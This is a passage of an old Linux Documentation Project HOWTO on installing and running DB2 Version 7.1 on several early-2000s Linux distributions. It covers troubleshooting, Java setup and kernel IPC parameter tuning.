9.1.2. When I try to run db2setup, I get the following error: ./db2inst: error while loading shared libraries: libncurses.so.4: cannot open shared object file: No such file or directory
9.1.3. Creating a DB2 instance on SuSE Linux: Default user name already exists
9.1.4. Creating a DB2 instance on SuSE Linux: Default group name already exists
9.1.5. Creating a DB2 instance on SuSE Linux: Default home directory points to /usr/lib/db2/
9.1.6. After creating a DB2 instance, I installed the Application Development Client, but I can't use that instance to create DB2 applications.
9.1.7. I installed DB2, but none of the permissions in /usr/IBMdb2/V7.1/bin are executable!

9.1.1. When I try to run db2setup, I get the following error: DBI1503E An error was encountered when opening or writing to file, "/tmp/.dbinst.swp".

DB2 issues this error when it can't find the pdksh or ksh shells. This has probably occurred because you did not install the pdksh package for your distribution. See Section 3 for more details on installing the pdksh package for your Linux distribution.

9.1.2. When I try to run db2setup, I get the following error: ./db2inst: error while loading shared libraries: libncurses.so.4: cannot open shared object file: No such file or directory

DB2 issues this error when it can't find the libncurses.so.4 library. Red Hat 7 does not include this level of the library in their standard ncurses-5.1-2 package, requiring that you install the ncurses4-5.0-2 library for backwards compatibility.

9.1.3. Creating a DB2 instance on SuSE Linux: Default user name already exists

If you did not remove the default DB2 user IDs created by SuSE Linux before installing DB2 (see Section 3.5), the DB2 Create Instance panel places the corresponding user ID in the "User ID" field. This can cause a problem when you change the value of the User Name field to reflect the name of the new instance, because the value of the "User ID" still reflects the original user name.

Ensure that you select the "Use default UID" check box to automatically associate the new user name with its corresponding user ID.

9.1.4. Creating a DB2 instance on SuSE Linux: Default group name already exists

If you did not remove the default DB2 user IDs created by SuSE Linux before installing DB2 (see Section 3.5), the DB2 Create Instance panel places the corresponding group ID in the Group ID field. This can cause a problem when you change the value of the Group Name field to reflect the name of the new instance, because the value of the Group ID still reflects the original group name.

Ensure that you select the "Use default GID" check box to automatically associate the new group name with its corresponding group ID.

9.1.5. Creating a DB2 instance on SuSE Linux: Default home directory points to /usr/lib/db2/

If you did not remove the default DB2 user IDs created by SuSE Linux before installing DB2 (see Section 3.5), the default user name already exists and was created in the /usr/lib/db2/ directory. To change the home directory of your new DB2 instance, you must manually specify the location of the new instance. The default home directory is /home/.

9.1.6. After creating a DB2 instance, I installed the Application Development Client, but I can't use that instance to create DB2 applications.

When you add the Application Development Client after you initially install DB2 and create a DB2 instance, your existing DB2 instance won't recognize the db2 prep command. Instead, DB2 returns the following error: DB21051E The command is not supported for this environment.

The problem is that when you install a new DB2 component, DB2 does not automatically update existing DB2 instances to include links to the new libraries and executables. To update an existing DB2 instance, use the db2iupdt command as root:
bash# /usr/IBMdb2/V7.1/instance/db2iupdt instance-name
To update all existing DB2 instances, issue the following command as root:
bash# /usr/IBMdb2/V7.1/instance/db2iupdt -e

9.1.7. I installed DB2, but none of the permissions in /usr/IBMdb2/V7.1/bin are executable!

When you create an instance, as described in Section 6, DB2 copies selected files from /usr/IBMdb2/V7.1/bin into the $HOME/sqllib/bin directory of the instance. DB2 sets the appropriate permissions on the copies of the files in the instance directory.

9.2. Problems creating a DB2 instance

The following section covers some of the common problems you may encounter when you create a DB2 instance.

9.2.1. Creating a DB2 instance or a DB2 Administration Server fails.
9.2.2. db2setup indicated that it successfully created an instance, but I checked /tmp/db2install.log and it contains the message DBI1766W Cannot change the secondary group list of "" (Caldera OpenLinux 2.4).

9.2.1. Creating a DB2 instance or a DB2 Administration Server fails.

DB2 often fails to create an instance because you became root by issuing the command bash$ su root rather than bash$ su -l root, which uses the environment settings for the root account. Check the contents of the DB2 install log in /tmp/db2setup.log. If the installer has issued the following error message:

  DBI1517E An attempt to execute a command in a subprocess failed.

  Explanation: An error was detected when attempting to execute a command in a subprocess. One of the
  following problems occurred:

      o The command does not exist.
      o Incomplete command search path.
      o Incorrect access permissions on the command.
      o System resource problem.
then most likely your root account did not have the /usr/sbin directory in the PATH environment variable for root.

PATH is normally set correctly for you if you log in as root, or issue the command bash$ su -l root to become root. You can add /usr/sbin to the PATH environment variable by issuing the following command at the terminal prompt, or including it in /root/.bashrc:

  export PATH=$PATH:/usr/sbin

9.2.2. db2setup indicated that it successfully created an instance, but I checked /tmp/db2install.log and it contains the message DBI1766W Cannot change the secondary group list of "" (Caldera OpenLinux 2.4).

This is one area where DB2 and Caldera OpenLinux don't work well together. Fix this by manually adding each instance user ID to the group you defined during instance creation. Here's the full help from the IBM DB2 Message Reference:

      DBI1766W Cannot change the secondary group list of
                "".

      Explanation:  A code, "", is returned when attempting to
      change the secondary group list of the given user ID. One of the
      following situations has occurred:

      o  NIS is running.

      o  One or more processes are currently being executed under the
          given user ID.

      User Response:  You must add the group ID, "", to the
      secondary group list of the user ID, "", so that the
      Adminstration Server can function properly.

      o  If there happens to be any process run under the given user
          ID, terminate all of these processes and follow the
          instructions above to setup the secondary group list of this
          user ID.

      o  If you are running this command on an NIS client, try the
          above instructions to setup the secondary group list of this
          user ID on your NIS server.
For instructions on how to add user IDs to groups, see Section 3.1.3.1.

9.3. Problems using DB2

The following section covers some of the common problems you may encounter when you use a DB2 database.

9.3.1. DB2 is running out of available connections.
9.3.2. I installed DB2 Version 6.1 and db2start just hangs.
9.3.3. I'm using DB2 PE 7.1 on linux (RH 6.0), and I'm having problems when trying to connect with my username and password. I can connect successfully to the database with the default user ID:

bash$ db2 connect to sample

Database Connection Information

Database server        = DB2/LINUX 7.1.0
SQL authorization ID   = userID
Local database alias   = SAMPLE
But when I try to connect to the database using the explicit user ID, it fails:

bash$ db2 CONNECT TO sample USER userID
Enter current password for userID:
SQL1403N  The username and/or password supplied is incorrect.
SQLSTATE=08004
Why can't I connect with an explicit user ID?
9.3.4. When I run any db2 commands, part of the output is Welcome to your OpenLinux system!. How do I change this? (Caldera OpenLinux 2.4)
9.3.5. How do I connect from a DB2 Connect for Linux client to a DB2 for AS/400 server?

9.3.1. DB2 is running out of available connections.

You probably need to adjust some kernel parameters. For more information, see Section 10.

9.3.2. I installed DB2 Version 6.1 and db2start just hangs.

Hey! I said I wasn't going to include any DB2 Version 6.1 information! Oh well, this is one of the most frequently asked questions about 6.1, so here's a short answer: you need to install a recent DB2 FixPack. The initial release of DB2 Version 6.1 ran into incompatibilities with distributions built on glibc 2.1. For a full description of the problem, and the correct install procedure, refer to IBM Support document 1000814: db2start hangs on Linux distributions built with glibc 2.1.

9.3.3. I'm using DB2 PE 7.1 on linux (RH 6.0), and I'm having problems when trying to connect with my username and password. I can connect successfully to the database with the default user ID:

bash$ db2 connect to sample

Database Connection Information

Database server        = DB2/LINUX 7.1.0
SQL authorization ID   = userID
Local database alias   = SAMPLE
But when I try to connect to the database using the explicit user ID, it fails:

bash$ db2 CONNECT TO sample USER userID
Enter current password for userID:
SQL1403N  The username and/or password supplied is incorrect.
SQLSTATE=08004
Why can't I connect with an explicit user ID?

Check the ownership and permissions on the db2ckpw program. They should look like this:

bash$ ls -al ~/sqllib/security/db2ckpw
-rwsr-s--x    1 root     build       15989 Oct 17 07:22 sqllib/security/db2ckpw*
If this program is not owned by root, then do the following as root:

bash# chown root db2ckpw
bash# chmod ug+s db2ckpw

9.3.4. When I run any db2 commands, part of the output is Welcome to your OpenLinux system!. How do I change this? (Caldera OpenLinux 2.4)

Caldera OpenLinux includes this annoying message as part of their default login. For instructions on how to remove or modify this output, see Section 3.1.3.3.

9.3.5. How do I connect from a DB2 Connect for Linux client to a DB2 for AS/400 server?

Claus Reiner contributed the following procedure:

Preparing DB2 for AS/400 to accept connections

AS/400 has a special service that must be run and other things that need to be prepared:

  1. Name the database and make a *LOCAL entry Command WRKRDBDIRE. There should be an entry with a remote location name of *LOCAL. The relational database name specified with that entry is the external name of the AS/400 database. Typically this is the same name as the system name.

  2. Set the code page to 37. For the user that connects, change the CCSID parameter from *SYSVAL to 37, or change it system-wide:

  CHGUSRPRF USRPRF(user) CCSID(37)
    or

 CHGSYSVAL SYSVAL(QCCSID) VALUE(37)

  3. Start a service to listen on port 446. To start the service once:

  STRTCPSVR SERVER(*DDM)
    To automatically start the service:

  CHGDDMTCPA AUTOSTART(*YES)

  4. Create a NULLID collection by issuing the following SQL statement:

  CREATE COLLECTION NULLID

  5. Possibly create a collection for the user ID to connect with:

  CREATE COLLECTION userid

Preparing DB2 Connect for Linux to connect to an AS/400 database

On the Linux side, you need to perform the following steps:

  1. Catalog the remote node (the AS/400) with OSTYPE OS400:

bash$ db2 CATALOG TCPIP NODE as400 REMOTE as400 \
          SERVER 446 REMOTE_DATABASE as400_dbname \
          OSTYPE os400

  2. Catalog the remote database in DCS:

bash$ db2 CATALOG DCS DATABASE as400_dbname AS as400_dbname

  3. Catalog the remote database:

bash$ db2 CATALOG DATABASE as400_dbname AS as400_dbname \
          AT NODE as400 AUTHENTICATION DCS

9.4. Problems starting the DB2 Control Center

The following section covers some of the common problems you may encounter trying to start the DB2 Control Center.

9.4.1. When I start the DB2 Control Center with db2cc, nothing happens.
9.4.2. When I start the DB2 Control Center, I get a message box with the error SQL1042C An unexpected system error occurred.
9.4.3. I followed the instructions for installing IBM JDK 1.1.8 but Java applications, including the DB2 Control Center, don't work.
9.4.4. The DB2 Control Center starts normally, but the "Systems" folder is empty.
9.4.5. When I try to start the DB2 Control Center, I get the following message at the console: Xlib: connection to "localhost:0.0" refused by server
9.4.6. When I start the DB2 Control Center, I get a message box with the error SQL1042C An unexpected system error occurred.
9.4.7. When I try to start the DB2 Control Center with the db2cc command, the splash screen comes up, then disappears.

9.4.1. When I start the DB2 Control Center with db2cc, nothing happens.

On some systems, for unknown reasons, issuing the db2cc command will not start the Control Center. You can often get the DB2 Control Center to start by explicitly starting a DB2 JDBC server on a specified port, then issuing the db2cc command with the port number. The following example starts the DB2 JDBC server and DB2 Control Center on port 6799:

bash$ db2jstrt 6799
bash$ db2cc 6799

9.4.2. When I start the DB2 Control Center, I get a message box with the error SQL1042C An unexpected system error occurred.

On most systems, this error occurs only the first time you start the Control Center. Note that the message box may be mostly covered up by the pretty DB2 splash screen; if this is the case, you have to move the error message window down and press the "Close" button. The Control Center then starts correctly, and you should not get the error message again.

9.4.3. I followed the instructions for installing IBM JDK 1.1.8 but Java applications, including the DB2 Control Center, don't work.

Red Hat 7.1 enabled a floating point stack feature in the glibc library that breaks the IBM JDK 1.1.8. Other distributions might follow their lead.

Set the LD_ASSUME_KERNEL environment variable to 2.2.5 before running the DB2 Control Center or your Java application:

bash$ export LD_ASSUME_KERNEL=2.2.5

9.4.4. The DB2 Control Center starts normally, but the "Systems" folder is empty.

If the Control Center displays an empty "Systems" folder, you might need to catalog the DB2 Administration Server manually for the local instance from which you are trying to run the Control Center. This assumes that you have created the DB2 Administration Server instance before starting the Control Center.

To catalog the DB2 Administration Server, issue the following command:
bash$ db2 catalog admin local node machine-name instance Administration-Server-name system machine-name ostype linux
Now restart the Control Center. Your local system is now displayed under the "Systems" folder. Do not try this from a client-only install of DB2, because no local DB2 Administration Server can be available.

9.4.5. When I try to start the DB2 Control Center, I get the following message at the console: Xlib: connection to "localhost:0.0" refused by server

This normally indicates an X permissions problem that occurs when you log on as one user, then su to the DB2 instance owner so that you can start the DB2 Control Center. By default, most X servers do not recognize 'localhost' as a client that is allowed to initiate an X app on your display; it will only recognize your real hostname. If xauth is set up, then it will complain if a user ID other than the one that started X tries to invoke an X application.There are a few things you can try:

  • Before su'ing to the DB2 instance owner, issue the command bash$ xhost +localhost: this tells your X server that 'localhost' is allowed to start X apps on your display. Then su to the DB2 instance owner and start the Control Center.

  • Log out completely, then log on directly as the DB2 instance owner and start the Control Center. You may still have to issue the command bash$ xhost +localhost before the Control Center will start--recent distributions have added this extra level of security.

  • Look into the xauth command and add your primary user ID's ~/.Xauthority file to your DB2 instance owner's xauth authority database. I believe it's the xauth merge command that you want.

9.4.6. When I start the DB2 Control Center, I get a message box with the error SQL1042C An unexpected system error occurred.

On most systems, this error occurs only the first time you start the Control Center. Note that the message box may be mostly covered up by the pretty DB2 splash screen; if this is the case, you have to move the error message window down and press the "Close" button. The Control Center then starts correctly, and you should not get the error message again.

9.4.7. When I try to start the DB2 Control Center with the db2cc command, the splash screen comes up, then disappears.

On Caldera, the Control Center didn't work for me until I added the instance user IDs to the appropriate groups. For more information, see Section 3.1.3.1.

Ensure that you have installed the IBM Developer Kit for Java, and that the directory containing the jre or java executable is in your path. If you issue the command
bash$ java -fullversion
, you should get a response like this: java full version "JDK 1.1.8 IBM build l118-20000325 (JIT enabled: jitc)" or, for the IBM JDK 1.3: java full version "J2RE 1.3.0 IBM build cx130-20000623" Java virtual machines from other sources may not work. For a quick guide to installing the IBM Developer Kit for Java, see Section 11.

Prev | Home | Next
Using DB2 |  | Improving DB2 Version 7.1 performance on Linux


GNU General Public License

DB2 Version 7.1 for Linux HOWTO
Prev Next

B. GNU General Public License

Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
Resources |  | Preamble


DB2 Version 7.1 for Linux HOWTO

Dan Scott

Revision History
Revision 1.2.4 | 2001-06-02 | Revised by: dbs
Running JDK 1.1.8 on Red Hat 7.1
Revision 1.2.3 | 2001-04-25 | Revised by: dbs
Red Hat 7.1 install instructions, more DB2 on Debian info, connecting to AS/400 databases, buffer pool memory limits, converted to DocBook XML.
Revision 1.2.1 | 2000-10-25 | Revised by: dbs
Basic Red Hat 7.0 info, additional Debian instructions.
Revision 1.2 | 2000-09-25 | Revised by: dbs
IBM JDK 1.3 works! More troubleshooting.
Revision 1.1 | 2000-07-28 | Revised by: dbs
Documented _SHM_ID_BITS kernel parameter tuning for increasing number of available connections. Added basic indexing.
Revision 1.0 | 2000-07-06 | Revised by: dbs
Added basic Debian instructions. Corrected some factual, stylistic, and grammatical mistakes. Licensed document under GNU GPL. Submitted document to LDP.
Revision 0.7 | 2000-04-26 | Revised by: dbs
Based on DB2 V7.1 beta release, wrote install instructions for Caldera 2.4, Red Hat 6.2, SuSE 6.2, SuSE 6.3, and TurboLinux 6.0.

This HOWTO gives you explicit instructions on installing DB2 Universal Database Version 7.1 for Linux on the following Intel x86-based distributions: Caldera OpenLinux 2.4, Debian, Linux-Mandrake 7.2, Red Hat Linux 6.2, Red Hat Linux 7.1, SuSE Linux 6.2, 6.3, and 7.0, and TurboLinux 6.0. After installing DB2, you can work with a sample database, connect to your DB2 server from a remote machine, and administer DB2 using the DB2 Control Center.

Table of Contents
1. Introduction
1.1. Why a DB2 installation HOWTO?
1.2. Who should read this HOWTO?
1.3. New versions of this document
1.4. Copyright and License
1.5. Credits
1.6. About the author
2. Prerequisites
2.1. What are prerequisites?
3. Preparing your distribution for DB2
3.1. Caldera OpenLinux 2.4
3.1.1. Before installing DB2 on Caldera OpenLinux
3.1.2. Installing DB2 and creating instances on Caldera
3.1.3. After installing DB2 on Caldera
3.1.3.1. Adding instance user IDs to their groups
3.1.3.2. Changing the default home page in Netscape
3.1.3.3. Removing the Caldera login greeting
3.2. Linux-Mandrake 7.2
3.2.1. Before installing DB2 on Linux-Mandrake
3.2.2. Installing DB2 and creating instances on Linux-Mandrake
3.2.3. After installing DB2 on Linux-Mandrake
3.3. Red Hat Linux 6.2
3.3.1. Before installing DB2 on Red Hat
3.3.2. Installing DB2 and creating instances on Red Hat
3.3.3. After installing DB2 on Red Hat
3.4. Red Hat Linux 7.1
3.4.1. Before installing DB2 on Red Hat
3.4.2. Installing DB2 and creating instances on Red Hat
3.4.3. After installing DB2 on Red Hat
3.5. SuSE Linux
3.5.1. Before installing DB2 on SuSE
3.5.2. Installing DB2 and creating instances on SuSE
3.5.3. After installing DB2 on SuSE
3.6. TurboLinux 6.0
3.6.1. Before installing DB2 on TurboLinux
3.6.2. Installing DB2 on TurboLinux
3.6.3. After installing DB2 on TurboLinux
4. Installing DB2 using db2setup
4.1. Using the db2setup utility
4.2. Installing DB2 components
5. Installing DB2 on other Linux distributions
6. Creating DB2 instances
6.1. Overview of DB2 Administration Server
6.2. Overview of DB2 instance
7. Removing DB2
8. Using DB2
8.1. DB2 Control Center
8.2. DB2 Information Center
8.3. The DB2 command line
9. Troubleshooting
9.1. Problems with DB2 installation
9.2. Problems creating a DB2 instance
9.3. Problems using DB2
9.4. Problems starting the DB2 Control Center
10. Improving DB2 Version 7.1 performance on Linux
10.1. Increasing maximum connections
10.2. Creating and configuring buffer pools
11. Installing the IBM Developer Kit for Java
12. Using the 2.4 kernel with DB2 Version 7.1
A. Resources
B. GNU General Public License
B.1. Preamble
B.1.1. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
B.1.2. How to Apply These Terms to Your New Programs
Next
Introduction


Introduction

DB2 Version 7.1 for Linux HOWTO
Prev Next

1. Introduction

1.1. Why a DB2 installation HOWTO?

Ever since DB2 Version 5.2 was ported to Linux in 1998 and made available as a beta download, there has been a lot of interest in DB2 on Linux. The beta represented one of IBM's first dips into the waters of Linux, and it generated a lot of feedback. In fact, if you read through the newsgroups, you still see occasional questions from people who are trying out the Version 5.2 beta. (I don't know where they're getting it, but they're out there.) And, not surprisingly, they run into problems. It was a beta product, after all.

Anyway, I've been trying out DB2 on Linux since Version 5.2, so I've had a chance to witness the improvements over the past couple of years. I've also made a lot of use of the Linux Documentation Project in that time, and wanted to contribute something to the LDP. So I decided to write about the one thing that I really know something about on Linux, and hope that it helps someone else out there.

DB2 on Linux has come a long way since Version 5.2. The first supported release of DB2 on Linux was Version 6.1 in 1999, which removed many of the installation hurdles faced by the Version 5.2 beta testers.

DB2 Version 7.1 is the second major release that supports Linux, and since it's a new release I'm expecting that a new wave of people curious about DB2, as well as people migrating from Version 6.1, are going to try installing this new release on Linux. To that end, I'm writing this HOWTO to share my experiences and help smooth your installation. One of the big boosts comes from the standardization on the IBM Developer Kit for Java, which improves the stability of the DB2 Control Center and enables application developers to write stored procedures and UDFs in Java. DB2 Version 7.1 also introduces the ability to write stored procedures in SQL.

As time permits, I hope to provide hints and tips for improving the performance of DB2 on Linux, and for configuring the environment on various Linux distributions to be able to build DB2 applications in C, C++, and Java.

1.2. Who should read this HOWTO?

If you plan to install DB2 Version 7.1 on one of the Linux distributions supported by IBM, this document is for you. The distributions that IBM officially supports are:

  • Caldera OpenLinux 2.4

  • Red Hat Linux 6.2

  • SuSE Linux 6.2 and 6.3

  • TurboLinux 6.0

For Debian and Slackware, I have included very basic installation instructions or links to other resources in Section 5. If you have any other installation success stories, please forward me the details and I'll try to expand the section. As time permits, I plan to try to duplicate and confirm these installation instructions.

If you install DB2 Version 6.1 for Linux and DB2 hangs on the db2start command, see db2start hangs on Linux distributions built with glibc 2.1. I don't include any other DB2 Version 6.1 information in this document. If you plan to install DB2 Version 5.2 on Linux, don't! (Have I emphasized that point enough? All right, I'll stop now.) The Personal Developer's Edition of DB2 Version 7.1 is available as a free (beer) download from IBM, at the DB2 Universal Database download site. Registration is required, and, of course, your copy of DB2 is only free as long as you don't use it in a production environment.

This document is really meant to help you install DB2 Version 7.1 on the previously listed Linux distributions. I've installed DB2 on all of the distributions supported by IBM and noted the prerequisites and quirks for each of them. I don't go into detail about the various features of DB2, or what each installation option means, but I do cover the basics that you need to know to get it installed.

1.3. New versions of this document

I like my friends at the Linux Documentation Project, so you'll always be able to find the most up-to-date version of this document at the LDP web site.

1.4. Copyright and License

Copyright (c) 2000 International Business Machines Incorporated.

This document is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this document; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

1.5. Credits

Dan Scott is the originator and current maintainer of this HOWTO. Please send all suggestions for improvement, criticisms, or more-or-less related questions to me at <daniels@REMca.ibm.com> (remove REM in my email address before sending). Please send all spam or hate mail to /dev/null.

Feedback and suggestions for improvement have been provided by Susan Williams, Serge Boivin, Darin McBride, and Xiaoyan Zhao. Ronnie Seagren did an awesome job of editing the original version for style and consistency.

Additional thanks to:

  • Andika Triwidada for contributing instructions to install DB2 V7.1 on Debian using the rpm utility.

  • Michael Naughton for braving Red Hat 7 and figuring out the libncurses.so.4 prerequisite.

  • Christoph Shmitz for resolving license problems with DB2 installed via alien.

  • Claus Fischer for solving a DB2 on Debian problem with updating instances and contributing cataloging instructions for DB2 on AS/400.

1.6. About the author

Dan Scott has been employed by IBM Canada as an Information Developer since 1998—approximately when DB2 was first ported to Linux. It's probably just coincidence. He has documented and tested DB2 application development for the bulk of that time. In his spare time he can occasionally be found mourning for his dearly departed motorcycle, abusing his body on his mountain bike, or contemplating how to upgrade his Linux distribution at home (which started life as Mandrake 5.3 and has mutated wildly ever since) without suffering the wrath of his girlfriend.

Prev | Home | Next
DB2 Version 7.1 for Linux HOWTO |  | Prerequisites


Installing the IBM Developer Kit for Java

DB2 Version 7.1 for Linux HOWTO
Prev Next

11. Installing the IBM Developer Kit for Java

This section gives you quick and dirty instructions on how to install the IBM Developer Kit for Java, version 1.1.8 or 1.3. You need the IBM Developer Kit for Java to run the DB2 Control Center or Java applications or applets that connect to DB2. Note that these instructions are not meant to replace the documentation supplied with the IBM Developer Kit for Java.

Warning

For DB2 Version 7.1, you cannot use other versions of Java. Versions of the Java Virtual Machine (JVM) supplied by other software organizations are not supported.

Installing the IBM Developer Kit for Java, Version 1.1.8

  1. Download the IBM Developer Kit for Java, version 1.1.8, from the IBM Java Developer's Kit downloads web site. I'll assume that you download the RPM package of the IBM Developer Kit for Java.

  2. Install the IBM Developer Kit for Java by issuing the following command as root:
    bash# rpm -ivh IBMJava118-SDK-1.1.8-2.0-i386.rpm

    I most recently tested IBM JDK 1.1.8 build 20010115a successfully on Red Hat 6.2. To see which build of the IBM JDK you are using, issue the java -fullversion command.

  3. Add the following lines to your /etc/profile file to set up the Java environment for all users:

   export JAVA_HOME=/usr/jdk118
   export PATH=$PATH:$JAVA_HOME/bin
   export CLASSPATH=$CLASSPATH:$JAVA_HOME/lib/classes.zip

    Note: Caldera users should see Section 3.1.1 for instructions on configuring the IBM Developer Kit for Java on Caldera OpenLinux.

    Note: Red Hat 7.1 enabled a floating point stack feature in the glibc library that breaks the IBM JDK 1.1.8. Other distributions might follow their lead. If the DB2 Control Center refuses to start successfully or your Java applications do not work, you can disable the floating point stack by setting the LD_ASSUME_KERNEL environment variable to 2.2.5 before running the DB2 Control Center as follows:

bash$ export LD_ASSUME_KERNEL=2.2.5

Installing the IBM Developer Kit for Java, Version 1.3

  1. Download the IBM Developer Kit for Java, version 1.3, from the IBM Java Developer's Kit downloads web site. I'll assume that you download the RPM package of the IBM Developer Kit for Java.

  2. Install the IBM Developer Kit for Java by issuing the following command as root:
    bash# rpm -ivh IBMJava2-SDK-1.3-1.1-i386.rpm

    I most recently tested build cx130-20010329 successfully with Red Hat 7.1. To see which build of the IBM JDK you are using, issue the java -fullversion command.

  3. Add the following lines to your /etc/profile file to set up the Java environment for all users:

   export PATH=$PATH:/opt/IBMJava2-13/bin

    Note: Caldera users should see Section 3.1.1 for instructions on configuring the IBM Developer Kit for Java on Caldera OpenLinux.

  4. IBM JDK 1.3 does away with the jre command, even if you install the the IBM JRE 1.3 package. However, the db2cc script calls the jre command. The easiest solution is to create a link called jre to the java executable in the /opt/IBMJava2-13/bin directory by issuing the following command as root.

bash# ln -sf /opt/IBMJava2-13/jre/bin/java /opt/IBMJava2-13/jre/bin/jre

  5. The db2cc script calls the jre command with the -nojit argument, which is not supported in IBM JDK 1.3. Remove the option by changing line 44 of /usr/IBMdb2/V7.1/bin/db2cc to the following:

JRE_OPTIONS="-ss256k -mx128m -Ddb2path=$DB2PATH"

Prev | Home | Next
Improving DB2 Version 7.1 performance on Linux |  | Using the 2.4 kernel with DB2 Version 7.1


Using the 2.4 kernel with DB2 Version 7.1

DB2 Version 7.1 for Linux HOWTO
Prev Next

12. Using the 2.4 kernel with DB2 Version 7.1

The Linux 2.4 kernel changes the default values of some ipc limits. However, the default value for the msgmni is 16, which causes difficulties running DB2 with the default 2.4 kernel ipc parameters. Fortunately, the 2.4 kernel also enables you to change a number of these parameters through the /proc filesystem. With the 2.4 kernel, you do not have to recompile your kernel to experiment with different parameter values.

Configure the msgmni parameter by issuing the sysctl command as root:

bash# sysctl -w kernel.msgmni=128
You can also change values directly in /proc/sys/kernel using the echo command:

bash# echo "128" > /proc/sys/kernel/msgmni

To set the msgmni kernel parameter at boot time, append the following lines to /etc/sysctl.conf:

# Sets maximum number of message queues to 128
# Set this to 1024 or higher on production systems
kernel.msgmni = 128
To check the current ipc settings, issue the ipcs -l command:

bash$ ipcs -l

------ Shared Memory Limits --------
max number of segments = 4096
max seg size (kbytes) = 32768
max total shared memory (kbytes) = 8388608
min seg size (bytes) = 1

------ Semaphore Limits --------
max number of arrays = 128
max semaphores per array = 250
max semaphores system wide = 32000
max ops per semop call = 32
semaphore max value = 32767

------ Messages: Limits --------
max queues system wide = 128
max size of message (bytes) = 8192
default max size of queue (bytes) = 16384

Prev | Home | Next
Installing the IBM Developer Kit for Java |  | Resources


Improving DB2 Version 7.1 performance on Linux

DB2 Version 7.1 for Linux HOWTO
Prev Next

10. Improving DB2 Version 7.1 performance on Linux

Database administrators running DB2 on Linux often run into problems attempting to perform the following tasks:

  • increasing the maximum number of simultaneous connections to the DB2 server

  • configuring buffer pools

The following sections attempt to address those problems.

10.1. Increasing maximum connections

One of the most frequently reported problems with running DB2 on Linux is that DB2 seems to quickly start refusing connections to the server. You can alleviate this problem by examining an altering several kernel parameters that control inter-process communication (ipc) limits.

The number of connections that DB2 can support depends on kernel parameters that, in the 2.2 kernel, are #define variables included in the kernel source header files. In the 2.4 kernel, some of these parameters can be set through the /proc filesystem. Following the description of these variables is a table listing the default values by distribution. The table includes the values of these variables in the updated kernel packages for each distribution.

_SHM_ID_BITS

This variable, defined in /usr/src/linux/include/asm/shmparam.h, determines the number of shared memory segment identifiers available to Linux. The default value for _SHM_ID_BITS in the kernel source is 7, which allows for a total of 2^7, or 128, shared memory segment identifiers.

On a single-processor machine, DB2 itself uses a set number (~15) of shared memory segment identifiers. On a machine with multiple processors, DB2 also requires one shared memory segment identifier per agent to take advantage of the Fast Communication Manager (FCM) feature of DB2. Because each DB2 connection requires one agent per processor, on a quad-processor machine the default value of _SHM_ID_BITS allows less than 32 simultaneous connections to a DB2 instance.

If you recompile the kernel yourself, you should be able to safely increase this value to 9.

MSGMNI

This variable determines the maximum number of message queue identifiers. For DB2 Version 7.1 to function correctly, the minimum value is 128, but for heavier use consider setting this value to 1024 or higher.

In the 2.2 kernel source, this variable is defined in /usr/src/linux/include/linux/msg.h. The default value of 128 is acceptable for small-scale use of DB2 Version 7.1.

In the 2.4 kernel source, this variable is defined in /proc/sys/kernel/msgmni. The default value of 16 must be increased to enable DB2 Version 7.1 to function correctly. The good news is that you can change this value without recompiling the kernel or rebooting your machine. For more information, see Section 12.

NR_TASKS

This variable, defined in /usr/src/linux/include/linux/tasks.h, determines the number of simultaneous processes that Linux supports. A second variable, MAX_TASKS_PER_USER, is defined as NR_TASKS/2. Since DB2 instances are treated as users by Linux, and each connection uses a single process, the maximum number of connections per instance is capped at the value of NR_TASKS/2.

The default value for NR_TASKS in the kernel source is 512, allowing a maximum of 256 simultaneous connections to a single DB2 instance. DB2 itself requires a few connections for overhead processes. If you recompile the kernel yourself, you should increase this value to something like 2048. The stock kernels shipped with the Red Hat, SuSE, and TurboLinux distributions increase the value of NR_TASKS to 2560 or above. However, Caldera OpenLinux eDesktop 2.4 ships with a kernel in which NR_TASKS is set to the default value of 512. Caldera users should increase the value of this variable and recompile the kernel.

SEMMNI

This variable, defined in /usr/src/linux/include/linux/sem.h, determines the number of semaphore identifiers that Linux supports. This variable is particularly important on symmetric multi-processing (SMP) machines. A unique semaphor identifier is required for each processor per agent (or connection); therefore, on a quad-processor machine, four semaphore identifiers are required per connection.

The default value for SEMMNI in the kernel source is 128, which, on a quad-processor machine, will only allow 32 simultaneous connections to a DB2 instance. If you recompile the kernel yourself, increase this value to something like 1024.

The following table shows the default values of the kernel parameters set in the stock kernel source and in the kernels provided by each distribution.

  • unknown indicates that I don't know what the default level is, probably because it came to my attention after I had already removed the distribution (your feedback is welcome!)

  • ?? indicates that I could not find the parameter in the kernel source or in the /proc/sys/kernel/ directory. Help, anyone?

  • ** as a prefix indicates that the default value is not acceptable and must be increased

Table 2. Default kernel parameter values, by distribution

Distribution | _SHM_ID_BITS | MSGMNI | NR_TASKS | SEMMNI
2.2 kernel source | 7 | 128 | 512 | 128
2.4 kernel source ?? **16 ?? 128
Caldera OpenLinux eDesktop 2.4 | 7 | Unknown | 512 | 128
Caldera OpenLinux eServer 2.3 | 7 | Unknown | 512 | 128
Linux-Mandrake 7.2 | 10 | 512 | 4090 | 512
Red Hat 6.2

kernel-2.2.14-5 | 7
kernel-2.2.14-12 | 9
kernel-2.2.16-3 | 9

Unknown

kernel-2.2.14-5 | 2560
kernel-2.2.14-12 | 2560
kernel-2.2.16-3 | 4090

kernel-2.2.14-5 | 128
kernel-2.2.14-12 | 512
kernel-2.2.16-3 | 512

Red Hat 7.1 | n/a (2.4 kernel) | 16 | n/a (2.4 kernel) | 128
SuSE 6.2 | Unknown | Unknown | Unknown | Unknown
SuSE 6.3 | Unknown | Unknown | Unknown | Unknown
SuSE 7.0 | 9 | 128 | 2048 | 512
TurboLinux 6.0

kernel-2.2.14-5 | 7
kernel-2.2.16-0.4 | 7

Unknown

kernel-2.2.14-5 | 2560
kernel-2.2.16-0.4 | 2560

